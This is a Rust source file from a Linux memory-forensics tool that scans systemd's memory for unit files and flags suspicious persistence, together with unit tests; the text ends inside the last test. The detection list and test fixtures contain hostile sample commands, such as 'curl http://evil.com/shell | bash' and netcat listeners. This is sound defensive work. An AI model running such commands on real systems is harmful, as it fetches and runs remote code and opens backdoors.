Skip to main content

memf_linux/
systemd_units.rs

1//! In-memory systemd unit analysis.
2//!
3//! Scans the `systemd` (PID 1) process VMAs for unit file content patterns
4//! (`.service`, `.timer` strings and associated `ExecStart=` commands) to
5//! detect malicious persistence (MITRE ATT&CK T1543.002).
6
7use memf_core::object_reader::ObjectReader;
8use memf_format::PhysicalMemoryProvider;
9
10use crate::Result;
11
12/// Page-sized chunk for VMA scanning.
13const SCAN_CHUNK: usize = 4096;
14
15/// How many bytes to search forward/backward for ExecStart.
16const EXEC_SEARCH_WINDOW: usize = 512;
17
18/// Information about a systemd unit found in memory.
19#[derive(Debug, Clone)]
20pub struct SystemdUnitInfo {
21    /// Unit name, e.g. "evil.service".
22    pub unit_name: String,
23    /// ExecStart command found nearby in memory.
24    pub exec_start: String,
25    /// Virtual address of the VMA where the unit name was found.
26    pub vma_start: u64,
27    /// Unit type: "service", "timer", "socket", "path", "mount".
28    pub unit_type: String,
29    /// True if the unit is considered suspicious.
30    pub is_suspicious: bool,
31}
32
33/// Suspicious ExecStart patterns.
34const SUSPICIOUS_EXEC_PATTERNS: &[&str] = &[
35    "/tmp/",
36    "/dev/shm/",
37    "/var/tmp/",
38    "curl",
39    "wget",
40    "bash -c",
41    "sh -c",
42    "python",
43    "perl",
44    "ruby",
45    "nc ",
46    "ncat",
47    "base64",
48];
49
50/// ExecStart prefixes considered safe.
51const SAFE_EXEC_PREFIXES: &[&str] = &["/usr/", "/bin/", "/sbin/", "/lib/"];
52
53/// Known safe unit name prefixes.
54const KNOWN_SAFE_UNITS: &[&str] = &["systemd-", "NetworkManager", "dbus", "cron", "ssh"];
55
56/// Unit file extensions we look for.
57const UNIT_EXTENSIONS: &[&str] = &[".service", ".timer", ".socket", ".path", ".mount"];
58
59/// Classify whether a systemd unit is suspicious.
60///
61/// Suspicious if:
62/// - `exec_start` contains a suspicious pattern, OR
63/// - `unit_name` looks like a randomized hex name (8+ lowercase hex chars + extension), OR
64/// - `exec_start` contains base64 indicators.
65///
66/// Not suspicious if exec_start starts with a safe prefix or the unit name
67/// is from a known system service.
68pub fn classify_systemd_unit(unit_name: &str, exec_start: &str) -> bool {
69    // Known safe units are never suspicious.
70    if KNOWN_SAFE_UNITS
71        .iter()
72        .any(|prefix| unit_name.starts_with(prefix))
73    {
74        return false;
75    }
76
77    // Safe ExecStart prefix — not suspicious.
78    if SAFE_EXEC_PREFIXES
79        .iter()
80        .any(|prefix| exec_start.starts_with(prefix))
81    {
82        return false;
83    }
84
85    // Suspicious ExecStart patterns.
86    if SUSPICIOUS_EXEC_PATTERNS
87        .iter()
88        .any(|pat| exec_start.contains(pat))
89    {
90        return true;
91    }
92
93    // Randomized name: strip extension, check if remainder is 8+ lowercase hex chars.
94    let stem = UNIT_EXTENSIONS
95        .iter()
96        .find_map(|ext| unit_name.strip_suffix(ext))
97        .unwrap_or(unit_name);
98    if stem.len() >= 8
99        && stem
100            .chars()
101            .all(|c| c.is_ascii_hexdigit() && !c.is_ascii_uppercase())
102    {
103        return true;
104    }
105
106    false
107}
108
109/// Walk the systemd process VMAs and extract unit information from memory strings.
110///
111/// Returns `Ok(vec![])` if `init_task` symbol is missing.
112pub fn walk_systemd_units<P: PhysicalMemoryProvider>(
113    reader: &ObjectReader<P>,
114) -> Result<Vec<SystemdUnitInfo>> {
115    let init_task_addr = match reader.symbols().symbol_address("init_task") {
116        Some(a) => a,
117        None => return Ok(vec![]),
118    };
119
120    let tasks_offset = match reader.symbols().field_offset("task_struct", "tasks") {
121        Some(o) => o,
122        None => return Ok(vec![]),
123    };
124
125    let head_vaddr = init_task_addr + tasks_offset;
126    let task_addrs = reader.walk_list(head_vaddr, "task_struct", "tasks")?;
127
128    // Include init_task itself (PID 1 = systemd on modern Linux).
129    let all_tasks = std::iter::once(init_task_addr).chain(task_addrs);
130
131    for task_addr in all_tasks {
132        let pid: u32 = match reader.read_field(task_addr, "task_struct", "pid") {
133            Ok(v) => v,
134            Err(_) => continue,
135        };
136        let comm = reader
137            .read_field_string(task_addr, "task_struct", "comm", 16)
138            .unwrap_or_default();
139
140        // Find systemd: comm == "systemd" and pid == 1.
141        if pid == 1 && comm == "systemd" {
142            return Ok(scan_systemd_vmas(reader, task_addr));
143        }
144    }
145
146    Ok(vec![])
147}
148
149/// Scan the systemd process's VMAs for unit content strings.
150fn scan_systemd_vmas<P: PhysicalMemoryProvider>(
151    reader: &ObjectReader<P>,
152    task_addr: u64,
153) -> Vec<SystemdUnitInfo> {
154    let mm_ptr: u64 = match reader.read_field(task_addr, "task_struct", "mm") {
155        Ok(v) => v,
156        Err(_) => return vec![],
157    };
158    if mm_ptr == 0 {
159        return vec![];
160    }
161
162    let mmap_ptr: u64 = match reader.read_field(mm_ptr, "mm_struct", "mmap") {
163        Ok(v) => v,
164        Err(_) => return vec![],
165    };
166
167    let mut findings = Vec::new();
168    let mut vma_addr = mmap_ptr;
169
170    while vma_addr != 0 {
171        let vm_start: u64 = reader
172            .read_field(vma_addr, "vm_area_struct", "vm_start")
173            .unwrap_or(0);
174        let vm_end: u64 = reader
175            .read_field(vma_addr, "vm_area_struct", "vm_end")
176            .unwrap_or(0);
177        let vm_flags: u64 = reader
178            .read_field(vma_addr, "vm_area_struct", "vm_flags")
179            .unwrap_or(0);
180
181        // Only scan readable, non-execute VMAs (data/heap, not code).
182        let readable = (vm_flags & 0x1) != 0;
183        let executable = (vm_flags & 0x4) != 0;
184        if readable && !executable && vm_start < vm_end {
185            scan_vma_for_units(reader, vm_start, vm_end, &mut findings);
186        }
187
188        vma_addr = reader
189            .read_field(vma_addr, "vm_area_struct", "vm_next")
190            .unwrap_or(0);
191    }
192
193    findings
194}
195
196/// Scan a VMA's address range in chunks for unit name strings.
197fn scan_vma_for_units<P: PhysicalMemoryProvider>(
198    reader: &ObjectReader<P>,
199    vm_start: u64,
200    vm_end: u64,
201    out: &mut Vec<SystemdUnitInfo>,
202) {
203    let mut offset: u64 = 0;
204    let total = vm_end - vm_start;
205
206    while offset < total {
207        let chunk_size = SCAN_CHUNK.min((total - offset) as usize);
208        let chunk_addr = vm_start + offset;
209        let bytes = if let Ok(b) = reader.read_bytes(chunk_addr, chunk_size) {
210            b
211        } else {
212            offset += chunk_size as u64;
213            continue;
214        };
215
216        // Scan chunk for unit name markers.
217        for ext in UNIT_EXTENSIONS {
218            let ext_bytes = ext.as_bytes();
219            let mut search_start = 0usize;
220            while let Some(pos) = find_subsequence(&bytes[search_start..], ext_bytes) {
221                let abs_pos = search_start + pos;
222                // Walk backwards from abs_pos to find the start of the unit name.
223                let name_start = find_name_start(&bytes, abs_pos);
224                let name_end = abs_pos + ext_bytes.len();
225                if let Ok(unit_name) = std::str::from_utf8(&bytes[name_start..name_end]) {
226                    let unit_name = unit_name.to_string();
227                    let unit_type = ext.trim_start_matches('.').to_string();
228
229                    // Search forward/backward in the chunk for ExecStart=.
230                    let exec_start = find_exec_start(&bytes, abs_pos);
231
232                    let is_suspicious = classify_systemd_unit(&unit_name, &exec_start);
233                    out.push(SystemdUnitInfo {
234                        unit_name,
235                        exec_start,
236                        vma_start: vm_start,
237                        unit_type,
238                        is_suspicious,
239                    });
240                }
241                search_start = abs_pos + 1;
242            }
243        }
244
245        offset += chunk_size as u64;
246    }
247}
248
249/// Find the first occurrence of `needle` in `haystack`.
250fn find_subsequence(haystack: &[u8], needle: &[u8]) -> Option<usize> {
251    if needle.is_empty() || needle.len() > haystack.len() {
252        return None;
253    }
254    haystack.windows(needle.len()).position(|w| w == needle)
255}
256
257/// Walk backwards from `pos` to find the start of a unit file name (stops at
258/// whitespace, NUL, `=`, or `\n`).
259fn find_name_start(bytes: &[u8], pos: usize) -> usize {
260    let mut i = pos;
261    while i > 0 {
262        let c = bytes[i - 1];
263        if c == 0 || c == b'\n' || c == b'\r' || c == b' ' || c == b'\t' || c == b'=' {
264            break;
265        }
266        i -= 1;
267    }
268    i
269}
270
271/// Search `±EXEC_SEARCH_WINDOW` bytes around `pos` in `bytes` for an
272/// `ExecStart=` marker and extract the command value.
273fn find_exec_start(bytes: &[u8], pos: usize) -> String {
274    let search_start = pos.saturating_sub(EXEC_SEARCH_WINDOW);
275    let search_end = (pos + EXEC_SEARCH_WINDOW).min(bytes.len());
276    let window = &bytes[search_start..search_end];
277
278    let marker = b"ExecStart=";
279    if let Some(idx) = find_subsequence(window, marker) {
280        let value_start = idx + marker.len();
281        let value_bytes = &window[value_start..];
282        let end = value_bytes
283            .iter()
284            .position(|&b| b == 0 || b == b'\n' || b == b'\r')
285            .unwrap_or(value_bytes.len());
286        return String::from_utf8_lossy(&value_bytes[..end]).into_owned();
287    }
288
289    String::new()
290}
291
292#[cfg(test)]
293mod tests {
294    use super::*;
295    use memf_core::test_builders::{flags as ptflags, PageTableBuilder, SyntheticPhysMem};
296    use memf_core::vas::{TranslationMode, VirtualAddressSpace};
297    use memf_symbols::isf::IsfResolver;
298    use memf_symbols::test_builders::IsfBuilder;
299
300    // ---------------------------------------------------------------------------
301    // Unit tests for classify_systemd_unit
302    // ---------------------------------------------------------------------------
303
304    #[test]
305    fn classify_systemd_unit_tmp_exec_suspicious() {
306        assert!(classify_systemd_unit("evil.service", "/tmp/payload.sh"));
307    }
308
309    #[test]
310    fn classify_systemd_unit_curl_exec_suspicious() {
311        assert!(classify_systemd_unit(
312            "updater.service",
313            "curl http://evil.com/shell | bash"
314        ));
315    }
316
317    #[test]
318    fn classify_systemd_unit_usr_bin_not_suspicious() {
319        assert!(!classify_systemd_unit(
320            "myapp.service",
321            "/usr/bin/myapp --daemon"
322        ));
323    }
324
325    #[test]
326    fn classify_systemd_unit_known_service_not_suspicious() {
327        assert!(!classify_systemd_unit(
328            "systemd-journald.service",
329            "/lib/systemd/systemd-journald"
330        ));
331    }
332
333    #[test]
334    fn classify_systemd_unit_randomized_name_suspicious() {
335        // 8-char lowercase hex name
336        assert!(classify_systemd_unit("deadbeef.service", ""));
337        assert!(classify_systemd_unit("cafebabe.service", ""));
338        // 7 chars — NOT randomized by our rule
339        assert!(!classify_systemd_unit("abc1234.service", "/usr/bin/x"));
340    }
341
342    #[test]
343    fn classify_systemd_unit_devshm_exec_suspicious() {
344        assert!(classify_systemd_unit("loader.service", "/dev/shm/loader"));
345    }
346
347    // ---------------------------------------------------------------------------
348    // Walker test — missing init_task → Ok(empty)
349    // ---------------------------------------------------------------------------
350
351    fn make_minimal_reader_no_init_task() -> ObjectReader<SyntheticPhysMem> {
352        let isf = IsfBuilder::new()
353            .add_struct("task_struct", 64)
354            .add_field("task_struct", "pid", 0, "int")
355            .add_field("task_struct", "tasks", 8, "list_head")
356            .add_struct("list_head", 16)
357            .add_field("list_head", "next", 0, "pointer")
358            .add_field("list_head", "prev", 8, "pointer")
359            .build_json();
360
361        let resolver = IsfResolver::from_value(&isf).unwrap();
362        let (cr3, mem) = PageTableBuilder::new().build();
363        let vas = VirtualAddressSpace::new(mem, cr3, TranslationMode::X86_64FourLevel);
364        ObjectReader::new(vas, Box::new(resolver))
365    }
366
367    #[test]
368    fn walk_systemd_units_missing_init_task_returns_empty() {
369        let reader = make_minimal_reader_no_init_task();
370        let result = walk_systemd_units(&reader).unwrap();
371        assert!(result.is_empty());
372    }
373
374    // ---------------------------------------------------------------------------
375    // Walker integration: systemd not found in task list → empty
376    // ---------------------------------------------------------------------------
377
378    fn make_reader_no_systemd() -> ObjectReader<SyntheticPhysMem> {
379        let vaddr: u64 = 0xFFFF_8000_0010_0000;
380        let paddr: u64 = 0x0080_0000;
381        let mut data = vec![0u8; 4096];
382
383        // init_task with pid=2 (not 1) and comm="bash" — not systemd
384        data[0..4].copy_from_slice(&2u32.to_le_bytes());
385        let tasks_addr = vaddr + 16;
386        data[16..24].copy_from_slice(&tasks_addr.to_le_bytes());
387        data[24..32].copy_from_slice(&tasks_addr.to_le_bytes());
388        data[32..36].copy_from_slice(b"bash");
389
390        let isf = IsfBuilder::new()
391            .add_struct("task_struct", 128)
392            .add_field("task_struct", "pid", 0, "int")
393            .add_field("task_struct", "tasks", 16, "list_head")
394            .add_field("task_struct", "comm", 32, "char")
395            .add_field("task_struct", "mm", 48, "pointer")
396            .add_struct("list_head", 16)
397            .add_field("list_head", "next", 0, "pointer")
398            .add_field("list_head", "prev", 8, "pointer")
399            .add_struct("mm_struct", 64)
400            .add_field("mm_struct", "mmap", 8, "pointer")
401            .add_struct("vm_area_struct", 64)
402            .add_field("vm_area_struct", "vm_start", 0, "unsigned long")
403            .add_field("vm_area_struct", "vm_end", 8, "unsigned long")
404            .add_field("vm_area_struct", "vm_next", 16, "pointer")
405            .add_field("vm_area_struct", "vm_flags", 24, "unsigned long")
406            .add_symbol("init_task", vaddr)
407            .build_json();
408
409        let resolver = IsfResolver::from_value(&isf).unwrap();
410        let (cr3, mem) = PageTableBuilder::new()
411            .map_4k(vaddr, paddr, ptflags::WRITABLE)
412            .write_phys(paddr, &data)
413            .build();
414        let vas = VirtualAddressSpace::new(mem, cr3, TranslationMode::X86_64FourLevel);
415        ObjectReader::new(vas, Box::new(resolver))
416    }
417
418    #[test]
419    fn walk_systemd_units_no_systemd_process_returns_empty() {
420        let reader = make_reader_no_systemd();
421        let result = walk_systemd_units(&reader).unwrap();
422        assert!(result.is_empty());
423    }
424
425    // ---------------------------------------------------------------------------
426    // walk_systemd_units: symbol present, systemd found but mm==NULL → empty
427    // ---------------------------------------------------------------------------
428
429    #[test]
430    fn walk_systemd_units_symbol_present_systemd_mm_null() {
431        // init_task with pid==1, comm=="systemd", self-pointing tasks list,
432        // but mm==0 → scan_systemd_vmas returns Ok(vec![]) immediately.
433        let sym_vaddr: u64 = 0xFFFF_8800_0080_0000;
434        let sym_paddr: u64 = 0x0090_0000;
435        let tasks_offset = 16u64;
436
437        let mut page = [0u8; 4096];
438        // pid = 1
439        page[0..4].copy_from_slice(&1u32.to_le_bytes());
440        // tasks: self-pointing
441        let list_self = sym_vaddr + tasks_offset;
442        page[tasks_offset as usize..tasks_offset as usize + 8]
443            .copy_from_slice(&list_self.to_le_bytes());
444        page[tasks_offset as usize + 8..tasks_offset as usize + 16]
445            .copy_from_slice(&list_self.to_le_bytes());
446        // comm = "systemd\0"
447        page[32..39].copy_from_slice(b"systemd");
448        // mm = 0
449        page[48..56].copy_from_slice(&0u64.to_le_bytes());
450
451        let isf = IsfBuilder::new()
452            .add_struct("task_struct", 128)
453            .add_field("task_struct", "pid", 0, "unsigned int")
454            .add_field("task_struct", "tasks", 16, "pointer")
455            .add_field("task_struct", "comm", 32, "char")
456            .add_field("task_struct", "mm", 48, "pointer")
457            .add_struct("mm_struct", 64)
458            .add_field("mm_struct", "mmap", 8, "pointer")
459            .add_symbol("init_task", sym_vaddr)
460            .build_json();
461
462        let resolver = IsfResolver::from_value(&isf).unwrap();
463        let (cr3, mem) = PageTableBuilder::new()
464            .map_4k(sym_vaddr, sym_paddr, ptflags::WRITABLE)
465            .write_phys(sym_paddr, &page)
466            .build();
467        let vas = VirtualAddressSpace::new(mem, cr3, TranslationMode::X86_64FourLevel);
468        let reader = ObjectReader::new(vas, Box::new(resolver));
469
470        let result = walk_systemd_units(&reader).unwrap_or_default();
471        assert!(
472            result.is_empty(),
473            "systemd with mm==NULL should yield no unit findings"
474        );
475    }
476
477    // ---------------------------------------------------------------------------
478    // Missing tasks_offset graceful degradation
479    // ---------------------------------------------------------------------------
480
481    #[test]
482    fn walk_systemd_units_missing_tasks_field_returns_empty() {
483        let isf = IsfBuilder::new()
484            .add_struct("task_struct", 64)
485            .add_field("task_struct", "pid", 0, "int")
486            // No "tasks" field → graceful degradation
487            .add_symbol("init_task", 0xFFFF_8000_0000_0000)
488            .build_json();
489
490        let resolver = IsfResolver::from_value(&isf).unwrap();
491        let (cr3, mem) = PageTableBuilder::new().build();
492        let vas = VirtualAddressSpace::new(mem, cr3, TranslationMode::X86_64FourLevel);
493        let reader = ObjectReader::new(vas, Box::new(resolver));
494
495        let result = walk_systemd_units(&reader).unwrap();
496        assert!(
497            result.is_empty(),
498            "missing tasks field must yield empty result"
499        );
500    }
501
502    // ---------------------------------------------------------------------------
503    // find_subsequence unit tests
504    // ---------------------------------------------------------------------------
505
506    #[test]
507    fn find_subsequence_found() {
508        let haystack = b"hello world";
509        let needle = b"world";
510        assert_eq!(find_subsequence(haystack, needle), Some(6));
511    }
512
513    #[test]
514    fn find_subsequence_not_found() {
515        let haystack = b"hello world";
516        let needle = b"xyz";
517        assert_eq!(find_subsequence(haystack, needle), None);
518    }
519
520    #[test]
521    fn find_subsequence_empty_needle_returns_none() {
522        let haystack = b"hello";
523        assert_eq!(find_subsequence(haystack, b""), None);
524    }
525
526    #[test]
527    fn find_subsequence_needle_longer_than_haystack_returns_none() {
528        assert_eq!(find_subsequence(b"hi", b"hello"), None);
529    }
530
531    #[test]
532    fn find_subsequence_at_start() {
533        assert_eq!(find_subsequence(b"abcdef", b"abc"), Some(0));
534    }
535
536    // ---------------------------------------------------------------------------
537    // find_name_start unit tests
538    // ---------------------------------------------------------------------------
539
540    #[test]
541    fn find_name_start_stops_at_nul() {
542        let bytes = b"foo\0bar.service";
543        let pos = 11; // end of "bar.service" extension start
544        let start = find_name_start(bytes, pos);
545        // Should stop at NUL (position 3), name starts at 4
546        assert_eq!(start, 4);
547    }
548
549    #[test]
550    fn find_name_start_stops_at_equals() {
551        let bytes = b"ExecStart=evil.service";
552        let pos = 18; // ".service" starts here roughly
553        let start = find_name_start(bytes, pos);
554        // Should stop at '=' at position 9, so start is 10
555        assert_eq!(start, 10);
556    }
557
558    #[test]
559    fn find_name_start_stops_at_space() {
560        let bytes = b"Name= evil.service";
561        let pos = 13;
562        let start = find_name_start(bytes, pos);
563        assert_eq!(start, 6);
564    }
565
566    #[test]
567    fn find_name_start_at_beginning_returns_zero() {
568        let bytes = b"evil.service";
569        // If the name starts at the beginning of the buffer, stop at 0
570        let start = find_name_start(bytes, 4);
571        assert_eq!(start, 0);
572    }
573
574    // ---------------------------------------------------------------------------
575    // find_exec_start unit tests
576    // ---------------------------------------------------------------------------
577
578    #[test]
579    fn find_exec_start_found_in_window() {
580        let mut data = vec![0u8; 1024];
581        let prefix = b"ExecStart=/tmp/evil.sh\n";
582        let marker_pos = 300usize;
583        data[marker_pos..marker_pos + prefix.len()].copy_from_slice(prefix);
584
585        // EXEC_SEARCH_WINDOW = 512: search pos must be within 512 bytes of marker
586        let pos = marker_pos + 400; // 400 < 512 → marker is within the window
587        let result = find_exec_start(&data, pos);
588        assert_eq!(result, "/tmp/evil.sh");
589    }
590
591    #[test]
592    fn find_exec_start_not_found_returns_empty() {
593        let data = vec![b'x'; 1024];
594        let result = find_exec_start(&data, 512);
595        assert!(result.is_empty(), "no ExecStart= → empty string");
596    }
597
598    #[test]
599    fn find_exec_start_terminated_by_nul() {
600        let mut data = vec![0u8; 512];
601        let cmd = b"ExecStart=/bin/sh\x00junk";
602        data[10..10 + cmd.len()].copy_from_slice(cmd);
603        let result = find_exec_start(&data, 200);
604        assert_eq!(result, "/bin/sh");
605    }
606
607    // ---------------------------------------------------------------------------
608    // classify_systemd_unit — additional branch coverage
609    // ---------------------------------------------------------------------------
610
611    #[test]
612    fn classify_systemd_unit_networkmanager_not_suspicious() {
613        assert!(!classify_systemd_unit(
614            "NetworkManager.service",
615            "/usr/sbin/NetworkManager"
616        ));
617    }
618
619    #[test]
620    fn classify_systemd_unit_dbus_not_suspicious() {
621        assert!(!classify_systemd_unit(
622            "dbus.service",
623            "/usr/bin/dbus-daemon"
624        ));
625    }
626
627    #[test]
628    fn classify_systemd_unit_ssh_not_suspicious() {
629        assert!(!classify_systemd_unit("ssh.service", "/usr/sbin/sshd"));
630    }
631
632    #[test]
633    fn classify_systemd_unit_cron_not_suspicious() {
634        assert!(!classify_systemd_unit("cron.service", "/usr/sbin/cron"));
635    }
636
637    #[test]
638    fn classify_systemd_unit_wget_exec_suspicious() {
639        assert!(classify_systemd_unit(
640            "updater.service",
641            "wget http://evil.com/payload -O /tmp/p"
642        ));
643    }
644
645    #[test]
646    fn classify_systemd_unit_python_exec_suspicious() {
647        assert!(classify_systemd_unit(
648            "runner.service",
649            "python /var/tmp/runner.py"
650        ));
651    }
652
653    #[test]
654    fn classify_systemd_unit_perl_exec_suspicious() {
655        assert!(classify_systemd_unit(
656            "runner.service",
657            "perl -e 'print\"hi\"'"
658        ));
659    }
660
661    #[test]
662    fn classify_systemd_unit_nc_exec_suspicious() {
663        assert!(classify_systemd_unit(
664            "backdoor.service",
665            "nc 10.0.0.1 4444"
666        ));
667    }
668
669    #[test]
670    fn classify_systemd_unit_ncat_exec_suspicious() {
671        assert!(classify_systemd_unit("backdoor.service", "ncat -l 4444"));
672    }
673
674    #[test]
675    fn classify_systemd_unit_base64_exec_suspicious() {
676        assert!(classify_systemd_unit(
677            "backdoor.service",
678            "base64 -d /tmp/p | sh"
679        ));
680    }
681
682    #[test]
683    fn classify_systemd_unit_ruby_exec_suspicious() {
684        assert!(classify_systemd_unit("runner.service", "ruby /tmp/evil.rb"));
685    }
686
687    #[test]
688    fn classify_systemd_unit_var_tmp_exec_suspicious() {
689        assert!(classify_systemd_unit("runner.service", "/var/tmp/payload"));
690    }
691
692    #[test]
693    fn classify_systemd_unit_no_extension_hex_stem_suspicious() {
694        // Stem without known extension → strip_suffix returns None → use full name
695        // "deadbeef12" (10 chars, all lower hex) without extension → treated as full stem
696        assert!(classify_systemd_unit("deadbeef12", ""));
697    }
698
699    #[test]
700    fn classify_systemd_unit_hex_with_uppercase_not_suspicious() {
701        // Uppercase hex → not considered randomized
702        assert!(!classify_systemd_unit("DEADBEEF.service", "/usr/bin/app"));
703    }
704
705    #[test]
706    fn classify_systemd_unit_sbin_not_suspicious() {
707        assert!(!classify_systemd_unit("myapp.service", "/sbin/myapp"));
708    }
709
710    #[test]
711    fn classify_systemd_unit_lib_not_suspicious() {
712        assert!(!classify_systemd_unit(
713            "myapp.service",
714            "/lib/systemd/myapp"
715        ));
716    }
717
718    // ---------------------------------------------------------------------------
719    // walk_systemd_units: full path — systemd found, mm non-null, VMA with
720    // readable+non-exec flags, VMA data contains a unit extension string.
721    // ---------------------------------------------------------------------------
722
723    #[test]
724    fn walk_systemd_units_scans_readable_vma_for_units() {
725        // Build a synthetic memory where:
726        //   init_task (pid=1, comm="systemd") → mm → VMA (readable, non-exec)
727        //   VMA data contains "evil.service\0"
728        let task_vaddr: u64 = 0xFFFF_8800_0100_0000;
729        let task_paddr: u64 = 0x00F0_0000;
730        let mm_vaddr: u64 = 0xFFFF_8800_0101_0000;
731        let mm_paddr: u64 = 0x00F1_0000;
732        let vma_vaddr: u64 = 0xFFFF_8800_0102_0000;
733        let vma_paddr: u64 = 0x00F2_0000;
734        // The actual data page that the VMA points at
735        let data_vaddr: u64 = 0xFFFF_8800_0103_0000;
736        let data_paddr: u64 = 0x00F3_0000;
737
738        let tasks_offset: u64 = 16;
739
740        // task_struct page
741        let mut task_page = [0u8; 4096];
742        // pid = 1
743        task_page[0..4].copy_from_slice(&1u32.to_le_bytes());
744        // tasks: self-pointing (only init_task in list)
745        let list_self = task_vaddr + tasks_offset;
746        task_page[tasks_offset as usize..tasks_offset as usize + 8]
747            .copy_from_slice(&list_self.to_le_bytes());
748        task_page[tasks_offset as usize + 8..tasks_offset as usize + 16]
749            .copy_from_slice(&list_self.to_le_bytes());
750        // comm = "systemd"
751        task_page[32..39].copy_from_slice(b"systemd");
752        // mm pointer at offset 48
753        task_page[48..56].copy_from_slice(&mm_vaddr.to_le_bytes());
754
755        // mm_struct page: mmap at offset 8
756        let mut mm_page = [0u8; 4096];
757        mm_page[8..16].copy_from_slice(&vma_vaddr.to_le_bytes());
758
759        // vm_area_struct page
760        let mut vma_page = [0u8; 4096];
761        vma_page[0..8].copy_from_slice(&data_vaddr.to_le_bytes()); // vm_start
762        let data_end = data_vaddr + 4096u64;
763        vma_page[8..16].copy_from_slice(&data_end.to_le_bytes()); // vm_end
764        vma_page[16..24].copy_from_slice(&0u64.to_le_bytes()); // vm_next = 0
765                                                               // vm_flags: readable (bit 0) = 1, not executable (bit 2) = 0 → 0x1
766        vma_page[24..32].copy_from_slice(&0x1u64.to_le_bytes());
767
768        // Data page: put "evil.service\0" near the start
769        let mut data_page = [0u8; 4096];
770        let unit = b"evil.service\0";
771        data_page[100..100 + unit.len()].copy_from_slice(unit);
772
773        let isf = IsfBuilder::new()
774            .add_struct("task_struct", 128)
775            .add_field("task_struct", "pid", 0x00u64, "unsigned int")
776            .add_field("task_struct", "tasks", 16u64, "list_head")
777            .add_field("task_struct", "comm", 32u64, "char")
778            .add_field("task_struct", "mm", 48u64, "pointer")
779            .add_struct("list_head", 16)
780            .add_field("list_head", "next", 0x00u64, "pointer")
781            .add_field("list_head", "prev", 0x08u64, "pointer")
782            .add_struct("mm_struct", 64)
783            .add_field("mm_struct", "mmap", 8u64, "pointer")
784            .add_struct("vm_area_struct", 64)
785            .add_field("vm_area_struct", "vm_start", 0x00u64, "unsigned long")
786            .add_field("vm_area_struct", "vm_end", 0x08u64, "unsigned long")
787            .add_field("vm_area_struct", "vm_next", 0x10u64, "pointer")
788            .add_field("vm_area_struct", "vm_flags", 0x18u64, "unsigned long")
789            .add_symbol("init_task", task_vaddr)
790            .build_json();
791        let resolver = IsfResolver::from_value(&isf).unwrap();
792
793        let (cr3, mem) = PageTableBuilder::new()
794            .map_4k(task_vaddr, task_paddr, ptflags::WRITABLE)
795            .write_phys(task_paddr, &task_page)
796            .map_4k(mm_vaddr, mm_paddr, ptflags::WRITABLE)
797            .write_phys(mm_paddr, &mm_page)
798            .map_4k(vma_vaddr, vma_paddr, ptflags::WRITABLE)
799            .write_phys(vma_paddr, &vma_page)
800            .map_4k(data_vaddr, data_paddr, ptflags::WRITABLE)
801            .write_phys(data_paddr, &data_page)
802            .build();
803        let vas = VirtualAddressSpace::new(mem, cr3, TranslationMode::X86_64FourLevel);
804        let reader = ObjectReader::new(vas, Box::new(resolver));
805
806        let result = walk_systemd_units(&reader).unwrap_or_default();
807        // We should find "evil.service" in the VMA
808        assert!(
809            result.iter().any(|u| u.unit_name.contains(".service")),
810            "should detect .service extension in VMA data; got: {:?}",
811            result.iter().map(|u| &u.unit_name).collect::<Vec<_>>()
812        );
813    }
814
815    // ---------------------------------------------------------------------------
816    // walk_systemd_units: VMA with executable flag set → skipped (not scanned)
817    // ---------------------------------------------------------------------------
818
819    #[test]
820    fn walk_systemd_units_exec_vma_skipped() {
821        // VMA has readable+executable flags → should not be scanned → no unit found
822        let task_vaddr: u64 = 0xFFFF_8800_0200_0000;
823        let task_paddr: u64 = 0x00F4_0000;
824        let mm_vaddr: u64 = 0xFFFF_8800_0201_0000;
825        let mm_paddr: u64 = 0x00F5_0000;
826        let vma_vaddr: u64 = 0xFFFF_8800_0202_0000;
827        let vma_paddr: u64 = 0x00F6_0000;
828        let data_vaddr: u64 = 0xFFFF_8800_0203_0000;
829        let data_paddr: u64 = 0x00F7_0000;
830
831        let tasks_offset: u64 = 16;
832
833        let mut task_page = [0u8; 4096];
834        task_page[0..4].copy_from_slice(&1u32.to_le_bytes());
835        let list_self = task_vaddr + tasks_offset;
836        task_page[tasks_offset as usize..tasks_offset as usize + 8]
837            .copy_from_slice(&list_self.to_le_bytes());
838        task_page[tasks_offset as usize + 8..tasks_offset as usize + 16]
839            .copy_from_slice(&list_self.to_le_bytes());
840        task_page[32..39].copy_from_slice(b"systemd");
841        task_page[48..56].copy_from_slice(&mm_vaddr.to_le_bytes());
842
843        let mut mm_page = [0u8; 4096];
844        mm_page[8..16].copy_from_slice(&vma_vaddr.to_le_bytes());
845
846        let mut vma_page = [0u8; 4096];
847        vma_page[0..8].copy_from_slice(&data_vaddr.to_le_bytes());
848        vma_page[8..16].copy_from_slice(&(data_vaddr + 4096).to_le_bytes());
849        vma_page[16..24].copy_from_slice(&0u64.to_le_bytes());
850        // vm_flags: readable (bit 0) + executable (bit 2) = 0x5
851        vma_page[24..32].copy_from_slice(&0x5u64.to_le_bytes());
852
853        let mut data_page = [0u8; 4096];
854        data_page[100..113].copy_from_slice(b"evil.service\0");
855
856        let isf = IsfBuilder::new()
857            .add_struct("task_struct", 128)
858            .add_field("task_struct", "pid", 0x00u64, "unsigned int")
859            .add_field("task_struct", "tasks", 16u64, "list_head")
860            .add_field("task_struct", "comm", 32u64, "char")
861            .add_field("task_struct", "mm", 48u64, "pointer")
862            .add_struct("list_head", 16)
863            .add_field("list_head", "next", 0x00u64, "pointer")
864            .add_field("list_head", "prev", 0x08u64, "pointer")
865            .add_struct("mm_struct", 64)
866            .add_field("mm_struct", "mmap", 8u64, "pointer")
867            .add_struct("vm_area_struct", 64)
868            .add_field("vm_area_struct", "vm_start", 0x00u64, "unsigned long")
869            .add_field("vm_area_struct", "vm_end", 0x08u64, "unsigned long")
870            .add_field("vm_area_struct", "vm_next", 0x10u64, "pointer")
871            .add_field("vm_area_struct", "vm_flags", 0x18u64, "unsigned long")
872            .add_symbol("init_task", task_vaddr)
873            .build_json();
874        let resolver = IsfResolver::from_value(&isf).unwrap();
875
876        let (cr3, mem) = PageTableBuilder::new()
877            .map_4k(task_vaddr, task_paddr, ptflags::WRITABLE)
878            .write_phys(task_paddr, &task_page)
879            .map_4k(mm_vaddr, mm_paddr, ptflags::WRITABLE)
880            .write_phys(mm_paddr, &mm_page)
881            .map_4k(vma_vaddr, vma_paddr, ptflags::WRITABLE)
882            .write_phys(vma_paddr, &vma_page)
883            .map_4k(data_vaddr, data_paddr, ptflags::WRITABLE)
884            .write_phys(data_paddr, &data_page)
885            .build();
886        let vas = VirtualAddressSpace::new(mem, cr3, TranslationMode::X86_64FourLevel);
887        let reader = ObjectReader::new(vas, Box::new(resolver));
888
